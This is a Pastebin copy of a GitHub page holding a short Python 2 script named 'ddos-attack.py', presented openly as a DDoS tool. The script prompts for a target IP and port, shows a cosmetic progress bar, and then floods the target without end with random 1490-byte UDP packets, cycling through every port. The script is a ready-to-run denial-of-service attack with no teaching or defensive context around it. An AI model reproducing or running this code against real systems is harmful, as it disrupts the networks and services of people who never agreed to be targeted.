Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Save New Duplicate & Edit Just Text
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
- 80
- 81
- 82
- 83
- 84
- Skip to content
- Why GitHub?
- Enterprise
- Explore
- Marketplace
- Pricing
- Search
- Sign in
- Sign up
- 14169158Ha3MrX/DDos-Attack
- Code Issues 3 Pull requests 5 Projects 0 Security Insights
- Join GitHub today
- GitHub is home to over 40 million developers working together to host and review code, manage projects, and build software together.
- DDos-Attack/ddos-attack.py
- @Ha3MrX Ha3MrX Update ddos-attack.py
- 55c553a on 4 Jun 2018
- 52 lines (47 sloc) 1.11 KB
- import sys
- import os
- import time
- import socket
- import random
- #Code Time
- from datetime import datetime
- now = datetime.now()
- hour = now.hour
- minute = now.minute
- day = now.day
- month = now.month
- year = now.year
- ##############
- sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
- bytes = random._urandom(1490)
- #############
- os.system("clear")
- os.system("figlet DDos Attack")
- print
- print "Author : HA-MRX"
- print "You Tube : https://www.youtube.com/c/HA-MRX"
- print "github : https://github.com/Ha3MrX"
- print "Facebook : https://www.facebook.com/muhamad.jabar222"
- print
- ip = raw_input("IP Target : ")
- port = input("Port : ")
- os.system("clear")
- os.system("figlet Attack Starting")
- print "[ ] 0% "
- time.sleep(5)
- print "[===== ] 25%"
- time.sleep(5)
- print "[========== ] 50%"
- time.sleep(5)
- print "[=============== ] 75%"
- time.sleep(5)
- print "[====================] 100%"
- time.sleep(3)
- sent = 0
- while True:
- sock.sendto(bytes, (ip,port))
- sent = sent + 1
- port = port + 1
- print "Sent %s packet to %s throught port:%s"%(sent,ip,port)
- if port == 65534:
- port = 1
- © 2019 GitHub, Inc.
- Terms
- Privacy
- Security
- Status
- Help
- Contact GitHub
- Pricing
- API
- Training
- Blog
- About
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement